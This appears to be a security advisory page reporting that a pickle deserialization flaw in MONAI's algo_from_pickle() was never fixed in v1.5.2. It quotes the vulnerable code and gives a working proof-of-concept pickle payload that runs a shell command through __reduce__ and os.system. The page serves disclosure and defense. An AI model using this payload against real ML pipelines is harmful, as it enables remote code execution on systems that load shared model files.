GHSA-qxq5-qhx6-94qw: Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algofrompickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.
Published Aug 18, 2026
Affected packages
monai
- Ecosystem
- PyPI
- Affected
- < 1.6.0
- Fixed in
- 1.6.0
- Check
pip show monai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.
Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
def algo_from_pickle(pkl_filename: str, ...):
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
data = pickle.loads(f.read()) # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.Credited to aslein1413-sys.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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